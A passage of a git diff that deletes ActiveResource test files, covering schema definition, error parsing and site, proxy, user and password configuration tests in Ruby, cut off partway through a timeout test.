-    assert_equal @first_address.values.first.stringify_keys, address.attributes
-  end
-
-  def test_load_collection_with_existing_resource
-    addresses = @person.load(@addresses_from_json).street_addresses
-    assert_kind_of Array, addresses
-    addresses.each { |address| assert_kind_of StreetAddress, address }
-    assert_equal @addresses.map { |a| a[:address].stringify_keys }, addresses.map(&:attributes)
-  end
-
-  def test_load_collection_with_unknown_resource
-    Person.__send__(:remove_const, :Address) if Person.const_defined?(:Address)
-    assert !Person.const_defined?(:Address), "Address shouldn't exist until autocreated"
-    addresses = silence_warnings { @person.load(:addresses => @addresses).addresses }
-    assert Person.const_defined?(:Address), "Address should have been autocreated"
-    addresses.each { |address| assert_kind_of Person::Address, address }
-    assert_equal @addresses.map { |a| a[:address].stringify_keys }, addresses.map(&:attributes)
-  end
-
-  def test_load_collection_with_single_existing_resource
-    addresses = @person.load(@addresses_from_json_single).street_addresses
-    assert_kind_of Array, addresses
-    addresses.each { |address| assert_kind_of StreetAddress, address }
-    assert_equal [ @first_address.values.first ].map(&:stringify_keys), addresses.map(&:attributes)
-  end
-
-  def test_load_collection_with_single_unknown_resource
-    Person.__send__(:remove_const, :Address) if Person.const_defined?(:Address)
-    assert !Person.const_defined?(:Address), "Address shouldn't exist until autocreated"
-    addresses = silence_warnings { @person.load(:addresses => [ @first_address ]).addresses }
-    assert Person.const_defined?(:Address), "Address should have been autocreated"
-    addresses.each { |address| assert_kind_of Person::Address, address }
-    assert_equal [ @first_address.values.first ].map(&:stringify_keys), addresses.map(&:attributes)
-  end
-
-  def test_recursively_loaded_collections
-    person = @person.load(@deep)
-    assert_equal @deep[:id], person.id
-
-    street = person.street
-    assert_kind_of Person::Street, street
-    assert_equal @deep[:street][:id], street.id
-
-    state = street.state
-    assert_kind_of Person::Street::State, state
-    assert_equal @deep[:street][:state][:id], state.id
-
-    rivers = state.notable_rivers
-    assert_kind_of Array, rivers
-    assert_kind_of Person::Street::State::NotableRiver, rivers.first
-    assert_equal @deep[:street][:state][:notable_rivers].first[:id], rivers.first.id
-    assert_equal @matz[:id], rivers.last.rafted_by.id
-
-    postal_codes = state.postal_codes
-    assert_kind_of Array, postal_codes
-    assert_equal 2, postal_codes.size
-    assert_kind_of Fixnum, postal_codes.first
-    assert_equal @deep[:street][:state][:postal_codes].first, postal_codes.first
-    assert_kind_of Numeric, postal_codes.last
-    assert_equal @deep[:street][:state][:postal_codes].last, postal_codes.last
-
-    places = state.places
-    assert_kind_of Array, places
-    assert_kind_of String, places.first
-    assert_equal @deep[:street][:state][:places].first, places.first
-
-    dates = state.dates
-    assert_kind_of Array, dates
-    assert_kind_of Time, dates.first
-    assert_equal @deep[:street][:state][:dates].first, dates.first
-
-    votes = state.votes
-    assert_kind_of Array, votes
-    assert_kind_of TrueClass, votes.first
-    assert_equal @deep[:street][:state][:votes].first, votes.first
-  end
-
-  def test_nested_collections_within_the_same_namespace
-    n = Highrise::Note.new(:comments => [{ :comment => { :name => "1" } }])
-    assert_kind_of Highrise::Comment, n.comments.first
-  end
-
-  def test_nested_collections_within_deeply_nested_namespace
-    n = Highrise::Deeply::Nested::Note.new(:comments => [{ :name => "1" }])
-    assert_kind_of Highrise::Deeply::Nested::Comment, n.comments.first
-  end
-
-  def test_nested_collections_in_different_levels_of_namespaces
-    n = Highrise::Deeply::Nested::TestDifferentLevels::Note.new(:comments => [{ :name => "1" }])
-    assert_kind_of Highrise::Deeply::Nested::Comment, n.comments.first
-  end
-end
diff --git a/activeresource/test/cases/base/schema_test.rb b/activeresource/test/cases/base/schema_test.rb
deleted file mode 100644
index d29eaf5fb6..0000000000
--- a/activeresource/test/cases/base/schema_test.rb
+++ /dev/null
@@ -1,411 +0,0 @@
-require 'abstract_unit'
-require 'active_support/core_ext/hash/conversions'
-require "fixtures/person"
-require "fixtures/street_address"
-
-########################################################################
-# Testing the schema of your Active Resource models
-########################################################################
-class SchemaTest < ActiveModel::TestCase
-  def setup
-    setup_response # find me in abstract_unit
-  end
-
-  def teardown
-    Person.schema = nil # hack to stop test bleedthrough...
-  end
-
-  #####################################################
-  # Passing in a schema directly and returning it
-  ####
-
-  test "schema on a new model should be empty" do
-    assert Person.schema.blank?, "should have a blank class schema"
-    assert Person.new.schema.blank?, "should have a blank instance schema"
-  end
-
-  test "schema should only accept a hash" do
-    ["blahblah", ['one','two'],  [:age, :name], Person.new].each do |bad_schema|
-      assert_raises(ArgumentError,"should only accept a hash (or nil), but accepted: #{bad_schema.inspect}") do
-        Person.schema = bad_schema
-      end
-    end
-  end
-
-  test "schema should accept a simple hash" do
-    new_schema = {'age' => 'integer', 'name' => 'string',
-      'height' => 'float', 'bio' => 'text',
-      'weight' => 'decimal', 'photo' => 'binary',
-      'alive' => 'boolean', 'created_at' => 'timestamp',
-      'thetime' => 'time', 'thedate' => 'date', 'mydatetime' => 'datetime'}
-
-
-    assert_nothing_raised { Person.schema = new_schema }
-    assert_equal new_schema, Person.schema
-  end
-
-  test "schema should accept a hash with simple values" do
-    new_schema = {'age' => 'integer', 'name' => 'string',
-      'height' => 'float', 'bio' => 'text',
-      'weight' => 'decimal', 'photo' => 'binary',
-      'alive' => 'boolean', 'created_at' => 'timestamp',
-      'thetime' => 'time', 'thedate' => 'date', 'mydatetime' => 'datetime'}
-
-    assert_nothing_raised { Person.schema = new_schema }
-    assert_equal new_schema, Person.schema
-  end
-
-  test "schema should accept all known attribute types as values" do
-    # I'd prefer to use  here...
-    ActiveResource::Schema::KNOWN_ATTRIBUTE_TYPES.each do |the_type|
-      assert_nothing_raised("should have accepted #{the_type.inspect}"){ Person.schema = {'my_key' => the_type }}
-    end
-  end
-
-  test "schema should not accept unknown values" do
-    bad_values = [ :oogle, :blob, 'thing']
-
-    bad_values.each do |bad_value|
-      assert_raises(ArgumentError,"should only accept a known attribute type, but accepted: #{bad_value.inspect}") do
-        Person.schema = {'key' => bad_value}
-      end
-    end
-  end
-
-  test "schema should accept nil and remove the schema" do
-    new_schema = {'age' => 'integer', 'name' => 'string',
-      'height' => 'float', 'bio' => 'text',
-      'weight' => 'decimal', 'photo' => 'binary',
-      'alive' => 'boolean', 'created_at' => 'timestamp',
-      'thetime' => 'time', 'thedate' => 'date', 'mydatetime' => 'datetime'}
-
-    assert_nothing_raised { Person.schema = new_schema }
-    assert_equal new_schema, Person.schema # sanity check
-
-
-    assert_nothing_raised { Person.schema = nil }
-    assert_nil Person.schema, "should have nulled out the schema, but still had: #{Person.schema.inspect}"
-  end
-
-
-  test "schema should be with indifferent access" do
-    new_schema = {'age' => 'integer', 'name' => 'string',
-      'height' => 'float', 'bio' => 'text',
-      'weight' => 'decimal', 'photo' => 'binary',
-      'alive' => 'boolean', 'created_at' => 'timestamp',
-      'thetime' => 'time', 'thedate' => 'date', 'mydatetime' => 'datetime'}
-
-    new_schema_syms = new_schema.keys
-
-    assert_nothing_raised { Person.schema = new_schema }
-    new_schema_syms.each do |col|
-      assert Person.new.respond_to?(col.to_s), "should respond to the schema's string key, but failed on: #{col.to_s}"
-      assert Person.new.respond_to?(col.to_sym), "should respond to the schema's symbol key, but failed on: #{col.to_sym}"
-    end
-  end
-
-
-  test "schema on a fetched resource should return all the attributes of that model instance" do
-    p = Person.find(1)
-    s = p.schema
-
-    assert s.present?, "should have found a non-empty schema!"
-
-    p.attributes.each do |the_attr, val|
-      assert s.has_key?(the_attr), "should have found attr: #{the_attr} in schema, but only had: #{s.inspect}"
-    end
-  end
-
-  test "with two instances, default schema should match the attributes of the individual instances - even if they differ" do
-    matz = Person.find(1)
-    rick = Person.find(6)
-
-    m_attrs = matz.attributes.keys.sort
-    r_attrs = rick.attributes.keys.sort
-
-    assert_not_equal m_attrs, r_attrs, "should have different attributes on each model"
-
-    assert_not_equal matz.schema, rick.schema, "should have had different schemas too"
-  end
-
-  test "defining a schema should return it when asked" do
-    assert Person.schema.blank?, "should have a blank class schema"
-    new_schema = {'age' => 'integer', 'name' => 'string',
-      'height' => 'float', 'bio' => 'text',
-      'weight' => 'decimal', 'photo' => 'binary',
-      'alive' => 'boolean', 'created_at' => 'timestamp',
-      'thetime' => 'time', 'thedate' => 'date', 'mydatetime' => 'datetime'}
-
-    assert_nothing_raised {
-      Person.schema = new_schema
-      assert_equal new_schema, Person.schema, "should have saved the schema on the class"
-      assert_equal new_schema, Person.new.schema, "should have made the schema available to every instance"
-    }
-  end
-
-  test "defining a schema, then fetching a model should still match the defined schema" do
-    # sanity checks
-    assert Person.schema.blank?, "should have a blank class schema"
-    new_schema = {'age' => 'integer', 'name' => 'string',
-      'height' => 'float', 'bio' => 'text',
-      'weight' => 'decimal', 'photo' => 'binary',
-      'alive' => 'boolean', 'created_at' => 'timestamp',
-      'thetime' => 'time', 'thedate' => 'date', 'mydatetime' => 'datetime'}
-
-    matz = Person.find(1)
-    assert !matz.schema.blank?, "should have some sort of schema on an instance variable"
-    assert_not_equal new_schema, matz.schema, "should not have the class-level schema until it's been added to the class!"
-
-    assert_nothing_raised {
-      Person.schema = new_schema
-      assert_equal new_schema, matz.schema, "class-level schema should override instance-level schema"
-    }
-  end
-
-
-  #####################################################
-  # Using the schema syntax
-  ####
-
-  test "should be able to use schema" do
-    assert_respond_to Person, :schema, "should at least respond to the schema method"
-
-    assert_nothing_raised("Should allow the schema to take a block") do
-      Person.schema { }
-    end
-  end
-
-  test "schema definition should store and return attribute set" do
-    assert_nothing_raised do
-      s = nil
-      Person.schema do
-        s = self
-        attribute :foo, :string
-      end
-      assert_respond_to s, :attrs, "should return attributes in theory"
-      assert_equal({'foo' => 'string' }, s.attrs, "should return attributes in practice")
-    end
-  end
-
-  test "should be able to add attributes through schema" do
-    assert_nothing_raised do
-      s = nil
-      Person.schema do
-        s = self
-        attribute('foo', 'string')
-      end
-      assert s.attrs.has_key?('foo'), "should have saved the attribute name"
-      assert_equal 'string', s.attrs['foo'], "should have saved the attribute type"
-    end
-  end
-
-  test "should convert symbol attributes to strings" do
-    assert_nothing_raised do
-      s = nil
-      Person.schema do
-        attribute(:foo, :integer)
-        s = self
-      end
-
-      assert s.attrs.has_key?('foo'), "should have saved the attribute name as a string"
-      assert_equal 'integer', s.attrs['foo'], "should have saved the attribute type as a string"
-    end
-  end
-
-  test "should be able to add all known attribute types" do
-    assert_nothing_raised do
-      ActiveResource::Schema::KNOWN_ATTRIBUTE_TYPES.each do |the_type|
-        s = nil
-        Person.schema do
-          s = self
-          attribute('foo', the_type)
-        end
-        assert s.attrs.has_key?('foo'), "should have saved the attribute name"
-        assert_equal the_type.to_s, s.attrs['foo'], "should have saved the attribute type of: #{the_type}"
-      end
-    end
-  end
-
-  test "attributes should not accept unknown values" do
-    bad_values = [ :oogle, :blob, 'thing']
-
-    bad_values.each do |bad_value|
-      s = nil
-      assert_raises(ArgumentError,"should only accept a known attribute type, but accepted: #{bad_value.inspect}") do
-        Person.schema do
-          s = self
-          attribute 'key', bad_value
-        end
-      end
-      assert !self.respond_to?(bad_value), "should only respond to a known attribute type, but accepted: #{bad_value.inspect}"
-      assert_raises(NoMethodError,"should only have methods for known attribute types, but accepted: #{bad_value.inspect}") do
-        Person.schema do
-          send bad_value, 'key'
-        end
-      end
-    end
-  end
-
-
-  test "should accept attribute types as the type's name as the method" do
-    ActiveResource::Schema::KNOWN_ATTRIBUTE_TYPES.each do |the_type|
-      s = nil
-      Person.schema do
-        s = self
-        send(the_type,'foo')
-      end
-      assert s.attrs.has_key?('foo'), "should now have saved the attribute name"
-      assert_equal the_type.to_s, s.attrs['foo'], "should have saved the attribute type of: #{the_type}"
-    end
-  end
-
-  test "should accept multiple attribute names for an attribute method" do
-    names = ['foo','bar','baz']
-    s = nil
-    Person.schema do
-      s = self
-      string(*names)
-    end
-    names.each do |the_name|
-      assert s.attrs.has_key?(the_name), "should now have saved the attribute name: #{the_name}"
-      assert_equal 'string', s.attrs[the_name], "should have saved the attribute as a string"
-    end
-  end
-
-  #####################################################
-  # What a schema does for us
-  ####
-
-  # respond_to?
-
-  test "should respond positively to attributes that are only in the schema" do
-    new_attr_name = :my_new_schema_attribute
-    new_attr_name_two = :another_new_schema_attribute
-    assert Person.schema.blank?, "sanity check - should have a blank class schema"
-
-    assert !Person.new.respond_to?(new_attr_name), "sanity check - should not respond to the brand-new attribute yet"
-    assert !Person.new.respond_to?(new_attr_name_two), "sanity check - should not respond to the brand-new attribute yet"
-
-    assert_nothing_raised do
-      Person.schema = {new_attr_name.to_s => 'string'}
-      Person.schema { string new_attr_name_two }
-    end
-
-    assert_respond_to Person.new, new_attr_name, "should respond to the attribute in a passed-in schema, but failed on: #{new_attr_name}"
-    assert_respond_to Person.new, new_attr_name_two, "should respond to the attribute from the schema, but failed on: #{new_attr_name_two}"
-  end
-
-  test "should not care about ordering of schema definitions" do
-    new_attr_name = :my_new_schema_attribute
-    new_attr_name_two = :another_new_schema_attribute
-
-    assert Person.schema.blank?, "sanity check - should have a blank class schema"
-
-    assert !Person.new.respond_to?(new_attr_name), "sanity check - should not respond to the brand-new attribute yet"
-    assert !Person.new.respond_to?(new_attr_name_two), "sanity check - should not respond to the brand-new attribute yet"
-
-    assert_nothing_raised do
-      Person.schema { string new_attr_name_two }
-      Person.schema = {new_attr_name.to_s => 'string'}
-    end
-
-    assert_respond_to Person.new, new_attr_name, "should respond to the attribute in a passed-in schema, but failed on: #{new_attr_name}"
-    assert_respond_to Person.new, new_attr_name_two, "should respond to the attribute from the schema, but failed on: #{new_attr_name_two}"
-  end
-
-  # method_missing effects
-
-  test "should not give method_missing for attribute only in schema" do
-    new_attr_name = :another_new_schema_attribute
-    new_attr_name_two = :another_new_schema_attribute
-
-    assert Person.schema.blank?, "sanity check - should have a blank class schema"
-
-    assert_raises(NoMethodError, "should not have found the attribute: #{new_attr_name} as a method") do
-      Person.new.send(new_attr_name)
-    end
-    assert_raises(NoMethodError, "should not have found the attribute: #{new_attr_name_two} as a method") do
-      Person.new.send(new_attr_name_two)
-    end
-
-    Person.schema = {new_attr_name.to_s => :float}
-    Person.schema { string new_attr_name_two }
-
-    assert_nothing_raised do
-      Person.new.send(new_attr_name)
-      Person.new.send(new_attr_name_two)
-    end
-  end
-
-
-  ########
-  # Known attributes
-  #
-  # Attributes can be known to be attributes even if they aren't actually
-  # 'set' on a particular instance.
-  # This will only differ from 'attributes' if a schema has been set.
-
-  test "new model should have no known attributes" do
-    assert Person.known_attributes.blank?, "should have no known attributes"
-    assert Person.new.known_attributes.blank?, "should have no known attributes on a new instance"
-  end
-
-  test "setting schema should set known attributes on class and instance" do
-    new_schema = {'age' => 'integer', 'name' => 'string',
-      'height' => 'float', 'bio' => 'text',
-      'weight' => 'decimal', 'photo' => 'binary',
-      'alive' => 'boolean', 'created_at' => 'timestamp',
-      'thetime' => 'time', 'thedate' => 'date', 'mydatetime' => 'datetime'}
-
-    assert_nothing_raised { Person.schema = new_schema }
-
-    assert_equal new_schema.keys.sort, Person.known_attributes.sort
-    assert_equal new_schema.keys.sort, Person.new.known_attributes.sort
-  end
-
-  test "known attributes on a fetched resource should return all the attributes of the instance" do
-    p = Person.find(1)
-    attrs = p.known_attributes
-
-    assert attrs.present?, "should have found some attributes!"
-
-    p.attributes.each do |the_attr, val|
-      assert attrs.include?(the_attr), "should have found attr: #{the_attr} in known attributes, but only had: #{attrs.inspect}"
-    end
-  end
-
-  test "with two instances, known attributes should match the attributes of the individual instances - even if they differ" do
-    matz = Person.find(1)
-    rick = Person.find(6)
-
-    m_attrs = matz.attributes.keys.sort
-    r_attrs = rick.attributes.keys.sort
-
-    assert_not_equal m_attrs, r_attrs, "should have different attributes on each model"
-
-    assert_not_equal matz.known_attributes, rick.known_attributes, "should have had different known attributes too"
-  end
-
-  test "setting schema then fetching should add schema attributes to the instance attributes" do
-    # an attribute in common with fetched instance and one that isn't
-    new_schema = {'age' => 'integer', 'name' => 'string',
-      'height' => 'float', 'bio' => 'text',
-      'weight' => 'decimal', 'photo' => 'binary',
-      'alive' => 'boolean', 'created_at' => 'timestamp',
-      'thetime' => 'time', 'thedate' => 'date', 'mydatetime' => 'datetime'}
-
-    assert_nothing_raised { Person.schema = new_schema }
-
-    matz = Person.find(1)
-    known_attrs = matz.known_attributes
-
-    matz.attributes.keys.each do |the_attr|
-      assert known_attrs.include?(the_attr), "should have found instance attr: #{the_attr} in known attributes, but only had: #{known_attrs.inspect}"
-    end
-    new_schema.keys.each do |the_attr|
-      assert known_attrs.include?(the_attr), "should have found schema attr: #{the_attr} in known attributes, but only had: #{known_attrs.inspect}"
-    end
-  end
-
-
-end
diff --git a/activeresource/test/cases/base_errors_test.rb b/activeresource/test/cases/base_errors_test.rb
deleted file mode 100644
index 5063916d10..0000000000
--- a/activeresource/test/cases/base_errors_test.rb
+++ /dev/null
@@ -1,107 +0,0 @@
-require 'abstract_unit'
-require "fixtures/person"
-
-class BaseErrorsTest < Test::Unit::TestCase
-  def setup
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.post "/people.xml", {}, %q(<?xml version="1.0" encoding="UTF-8"?><errors><error>Age can't be blank</error><error>Name can't be blank</error><error>Name must start with a letter</error><error>Person quota full for today.</error></errors>), 422, {'Content-Type' => 'application/xml; charset=utf-8'}
-      mock.post "/people.json", {}, %q({"errors":["Age can't be blank","Name can't be blank","Name must start with a letter","Person quota full for today."]}), 422, {'Content-Type' => 'application/json; charset=utf-8'}
-    end
-  end
-
-  def test_should_mark_as_invalid
-    [ :json, :xml ].each do |format|
-      invalid_user_using_format(format) do
-        assert !@person.valid?
-      end
-    end
-  end
-
-  def test_should_parse_json_and_xml_errors
-    [ :json, :xml ].each do |format|
-      invalid_user_using_format(format) do
-        assert_kind_of ActiveResource::Errors, @person.errors
-        assert_equal 4, @person.errors.size
-      end
-    end
-  end
-
-  def test_should_parse_json_errors_when_no_errors_key
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.post "/people.json", {}, '{}', 422, {'Content-Type' => 'application/json; charset=utf-8'}
-    end
-
-    invalid_user_using_format(:json) do
-      assert_kind_of ActiveResource::Errors, @person.errors
-      assert_equal 0, @person.errors.size
-    end
-  end
-
-  def test_should_parse_errors_to_individual_attributes
-    [ :json, :xml ].each do |format|
-      invalid_user_using_format(format) do
-        assert @person.errors[:name].any?
-        assert_equal ["can't be blank"], @person.errors[:age]
-        assert_equal ["can't be blank", "must start with a letter"], @person.errors[:name]
-        assert_equal ["Person quota full for today."], @person.errors[:base]
-      end
-    end
-  end
-
-  def test_should_iterate_over_errors
-    [ :json, :xml ].each do |format|
-      invalid_user_using_format(format) do
-        errors = []
-        @person.errors.each { |attribute, message| errors << [attribute, message] }
-        assert errors.include?([:name, "can't be blank"])
-      end
-    end
-  end
-
-  def test_should_iterate_over_full_errors
-    [ :json, :xml ].each do |format|
-      invalid_user_using_format(format) do
-        errors = []
-        @person.errors.to_a.each { |message| errors << message }
-        assert errors.include?("Name can't be blank")
-      end
-    end
-  end
-
-  def test_should_format_full_errors
-    [ :json, :xml ].each do |format|
-      invalid_user_using_format(format) do
-        full = @person.errors.full_messages
-        assert full.include?("Age can't be blank")
-        assert full.include?("Name can't be blank")
-        assert full.include?("Name must start with a letter")
-        assert full.include?("Person quota full for today.")
-      end
-    end
-  end
-
-  def test_should_mark_as_invalid_when_content_type_is_unavailable_in_response_header
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.post "/people.xml", {}, %q(<?xml version="1.0" encoding="UTF-8"?><errors><error>Age can't be blank</error><error>Name can't be blank</error><error>Name must start with a letter</error><error>Person quota full for today.</error></errors>), 422, {}
-      mock.post "/people.json", {}, %q({"errors":["Age can't be blank","Name can't be blank","Name must start with a letter","Person quota full for today."]}), 422, {}
-    end
-
-    [ :json, :xml ].each do |format|
-      invalid_user_using_format(format) do
-        assert !@person.valid?
-      end
-    end
-  end
-
-  private
-  def invalid_user_using_format(mime_type_reference)
-    previous_format = Person.format
-    Person.format = mime_type_reference
-    @person = Person.new(:name => '', :age => '')
-    assert_equal false, @person.save
-
-    yield
-  ensure
-    Person.format = previous_format
-  end
-end
diff --git a/activeresource/test/cases/base_test.rb b/activeresource/test/cases/base_test.rb
deleted file mode 100644
index 7b42f64a35..0000000000
--- a/activeresource/test/cases/base_test.rb
+++ /dev/null
@@ -1,1144 +0,0 @@
-require 'abstract_unit'
-require "fixtures/person"
-require "fixtures/customer"
-require "fixtures/street_address"
-require "fixtures/sound"
-require "fixtures/beast"
-require "fixtures/proxy"
-require "fixtures/address"
-require "fixtures/subscription_plan"
-require 'active_support/json'
-require 'active_support/ordered_hash'
-require 'active_support/core_ext/hash/conversions'
-require 'mocha'
-
-class BaseTest < Test::Unit::TestCase
-  def setup
-    setup_response # find me in abstract_unit
-    @original_person_site = Person.site
-  end
-
-  def teardown
-    Person.site = @original_person_site
-  end
-
-  ########################################################################
-  # Tests relating to setting up the API-connection configuration
-  ########################################################################
-
-  def test_site_accessor_accepts_uri_or_string_argument
-    site = URI.parse('http://localhost')
-
-    assert_nothing_raised { Person.site = 'http://localhost' }
-    assert_equal site, Person.site
-
-    assert_nothing_raised { Person.site = site }
-    assert_equal site, Person.site
-  end
-
-  def test_should_use_site_prefix_and_credentials
-    assert_equal 'http://foo:bar@beast.caboo.se', Forum.site.to_s
-    assert_equal 'http://foo:bar@beast.caboo.se/forums/:forum_id', Topic.site.to_s
-  end
-
-  def test_site_variable_can_be_reset
-    actor = Class.new(ActiveResource::Base)
-    assert_nil actor.site
-    actor.site = 'http://localhost:31337'
-    actor.site = nil
-    assert_nil actor.site
-  end
-
-  def test_proxy_accessor_accepts_uri_or_string_argument
-    proxy = URI.parse('http://localhost')
-
-    assert_nothing_raised { Person.proxy = 'http://localhost' }
-    assert_equal proxy, Person.proxy
-
-    assert_nothing_raised { Person.proxy = proxy }
-    assert_equal proxy, Person.proxy
-  end
-
-  def test_should_use_proxy_prefix_and_credentials
-    assert_equal 'http://user:password@proxy.local:3000', ProxyResource.proxy.to_s
-  end
-
-  def test_proxy_variable_can_be_reset
-    actor = Class.new(ActiveResource::Base)
-    assert_nil actor.site
-    actor.proxy = 'http://localhost:31337'
-    actor.proxy = nil
-    assert_nil actor.site
-  end
-
-  def test_should_accept_setting_user
-    Forum.user = 'david'
-    assert_equal('david', Forum.user)
-    assert_equal('david', Forum.connection.user)
-  end
-
-  def test_should_accept_setting_password
-    Forum.password = 'test123'
-    assert_equal('test123', Forum.password)
-    assert_equal('test123', Forum.connection.password)
-  end
-
-  def test_should_accept_setting_auth_type
-    Forum.auth_type = :digest
-    assert_equal(:digest, Forum.auth_type)
-    assert_equal(:digest, Forum.connection.auth_type)
-  end
-
-  def test_should_accept_setting_timeout
-    Forum.timeout = 5
-    assert_equal(5, Forum.timeout)
-    assert_equal(5, Forum.connection.timeout)
-  end
-
-  def test_should_accept_setting_ssl_options
-    expected = {:verify => 1}
-    Forum.ssl_options= expected
-    assert_equal(expected, Forum.ssl_options)
-    assert_equal(expected, Forum.connection.ssl_options)
-  end
-
-  def test_user_variable_can_be_reset
-    actor = Class.new(ActiveResource::Base)
-    actor.site = 'http://cinema'
-    assert_nil actor.user
-    actor.user = 'username'
-    actor.user = nil
-    assert_nil actor.user
-    assert_nil actor.connection.user
-  end
-
-  def test_password_variable_can_be_reset
-    actor = Class.new(ActiveResource::Base)
-    actor.site = 'http://cinema'
-    assert_nil actor.password
-    actor.password = 'username'
-    actor.password = nil
-    assert_nil actor.password
-    assert_nil actor.connection.password
-  end
-
-  def test_timeout_variable_can_be_reset
-    actor = Class.new(ActiveResource::Base)
-    actor.site = 'http://cinema'
-    assert_nil actor.timeout
-    actor.timeout = 5
-    actor.timeout = nil
-    assert_nil actor.timeout
-    assert_nil actor.connection.timeout
-  end
-
-  def test_ssl_options_hash_can_be_reset
-    actor = Class.new(ActiveResource::Base)
-    actor.site = 'https://cinema'
-    assert_nil actor.ssl_options
-    actor.ssl_options = {:foo => 5}
-    actor.ssl_options = nil
-    assert_nil actor.ssl_options
-    assert_nil actor.connection.ssl_options
-  end
-
-  def test_credentials_from_site_are_decoded
-    actor = Class.new(ActiveResource::Base)
-    actor.site = 'http://my%40email.com:%31%32%33@cinema'
-    assert_equal("my@email.com", actor.user)
-    assert_equal("123", actor.password)
-  end
-
-  def test_site_reader_uses_superclass_site_until_written
-    # Superclass is Object so returns nil.
-    assert_nil ActiveResource::Base.site
-    assert_nil Class.new(ActiveResource::Base).site
-
-    # Subclass uses superclass site.
-    actor = Class.new(Person)
-    assert_equal Person.site, actor.site
-
-    # Subclass returns frozen superclass copy.
-    assert !Person.site.frozen?
-    assert actor.site.frozen?
-
-    # Changing subclass site doesn't change superclass site.
-    actor.site = 'http://localhost:31337'
-    assert_not_equal Person.site, actor.site
-
-    # Changed subclass site is not frozen.
-    assert !actor.site.frozen?
-
-    # Changing superclass site doesn't overwrite subclass site.
-    Person.site = 'http://somewhere.else'
-    assert_not_equal Person.site, actor.site
-
-    # Changing superclass site after subclassing changes subclass site.
-    jester = Class.new(actor)
-    actor.site = 'http://nomad'
-    assert_equal actor.site, jester.site
-    assert jester.site.frozen?
-
-    # Subclasses are always equal to superclass site when not overridden
-    fruit = Class.new(ActiveResource::Base)
-    apple = Class.new(fruit)
-
-    fruit.site = 'http://market'
-    assert_equal fruit.site, apple.site, 'subclass did not adopt changes from parent class'
-
-    fruit.site = 'http://supermarket'
-    assert_equal fruit.site, apple.site, 'subclass did not adopt changes from parent class'
-  end
-
-  def test_proxy_reader_uses_superclass_site_until_written
-    # Superclass is Object so returns nil.
-    assert_nil ActiveResource::Base.proxy
-    assert_nil Class.new(ActiveResource::Base).proxy
-
-    # Subclass uses superclass proxy.
-    actor = Class.new(Person)
-    assert_equal Person.proxy, actor.proxy
-
-    # Subclass returns frozen superclass copy.
-    assert !Person.proxy.frozen?
-    assert actor.proxy.frozen?
-
-    # Changing subclass proxy doesn't change superclass site.
-    actor.proxy = 'http://localhost:31337'
-    assert_not_equal Person.proxy, actor.proxy
-
-    # Changed subclass proxy is not frozen.
-    assert !actor.proxy.frozen?
-
-    # Changing superclass proxy doesn't overwrite subclass site.
-    Person.proxy = 'http://somewhere.else'
-    assert_not_equal Person.proxy, actor.proxy
-
-    # Changing superclass proxy after subclassing changes subclass site.
-    jester = Class.new(actor)
-    actor.proxy = 'http://nomad'
-    assert_equal actor.proxy, jester.proxy
-    assert jester.proxy.frozen?
-
-    # Subclasses are always equal to superclass proxy when not overridden
-    fruit = Class.new(ActiveResource::Base)
-    apple = Class.new(fruit)
-
-    fruit.proxy = 'http://market'
-    assert_equal fruit.proxy, apple.proxy, 'subclass did not adopt changes from parent class'
-
-    fruit.proxy = 'http://supermarket'
-    assert_equal fruit.proxy, apple.proxy, 'subclass did not adopt changes from parent class'
-  end
-
-  def test_user_reader_uses_superclass_user_until_written
-    # Superclass is Object so returns nil.
-    assert_nil ActiveResource::Base.user
-    assert_nil Class.new(ActiveResource::Base).user
-    Person.user = 'anonymous'
-
-    # Subclass uses superclass user.
-    actor = Class.new(Person)
-    assert_equal Person.user, actor.user
-
-    # Subclass returns frozen superclass copy.
-    assert !Person.user.frozen?
-    assert actor.user.frozen?
-
-    # Changing subclass user doesn't change superclass user.
-    actor.user = 'david'
-    assert_not_equal Person.user, actor.user
-
-    # Changing superclass user doesn't overwrite subclass user.
-    Person.user = 'john'
-    assert_not_equal Person.user, actor.user
-
-    # Changing superclass user after subclassing changes subclass user.
-    jester = Class.new(actor)
-    actor.user = 'john.doe'
-    assert_equal actor.user, jester.user
-
-    # Subclasses are always equal to superclass user when not overridden
-    fruit = Class.new(ActiveResource::Base)
-    apple = Class.new(fruit)
-
-    fruit.user = 'manager'
-    assert_equal fruit.user, apple.user, 'subclass did not adopt changes from parent class'
-
-    fruit.user = 'client'
-    assert_equal fruit.user, apple.user, 'subclass did not adopt changes from parent class'
-  end
-
-  def test_password_reader_uses_superclass_password_until_written
-    # Superclass is Object so returns nil.
-    assert_nil ActiveResource::Base.password
-    assert_nil Class.new(ActiveResource::Base).password
-    Person.password = 'my-password'
-
-    # Subclass uses superclass password.
-    actor = Class.new(Person)
-    assert_equal Person.password, actor.password
-
-    # Subclass returns frozen superclass copy.
-    assert !Person.password.frozen?
-    assert actor.password.frozen?
-
-    # Changing subclass password doesn't change superclass password.
-    actor.password = 'secret'
-    assert_not_equal Person.password, actor.password
-
-    # Changing superclass password doesn't overwrite subclass password.
-    Person.password = 'super-secret'
-    assert_not_equal Person.password, actor.password
-
-    # Changing superclass password after subclassing changes subclass password.
-    jester = Class.new(actor)
-    actor.password = 'even-more-secret'
-    assert_equal actor.password, jester.password
-
-    # Subclasses are always equal to superclass password when not overridden
-    fruit = Class.new(ActiveResource::Base)
-    apple = Class.new(fruit)
-
-    fruit.password = 'mega-secret'
-    assert_equal fruit.password, apple.password, 'subclass did not adopt changes from parent class'
-
-    fruit.password = 'ok-password'
-    assert_equal fruit.password, apple.password, 'subclass did not adopt changes from parent class'
-  end
-
-  def test_timeout_reader_uses_superclass_timeout_until_written
-    # Superclass is Object so returns nil.
-    assert_nil ActiveResource::Base.timeout
-    assert_nil Class.new(ActiveResource::Base).timeout
-    Person.timeout = 5
-
-    # Subclass uses superclass timeout.
-    actor = Class.new(Person)
-    assert_equal Person.timeout, actor.timeout
-
-    # Changing subclass timeout doesn't change superclass timeout.
-    actor.timeout = 10
-    assert_not_equal Person.timeout, actor.timeout
-
-    # Changing superclass timeout doesn't overwrite subclass timeout.
-    Person.timeout = 15
-    assert_not_equal Person.timeout, actor.timeout
-
-    # Changing superclass timeout after subclassing changes subclass timeout.
-    jester = Class.new(actor)
-    actor.timeout = 20
-    assert_equal actor.timeout, jester.timeout
-
-    # Subclasses are always equal to superclass timeout when not overridden.
-    fruit = Class.new(ActiveResource::Base)
-    apple = Class.new(fruit)
-
-    fruit.timeout = 25
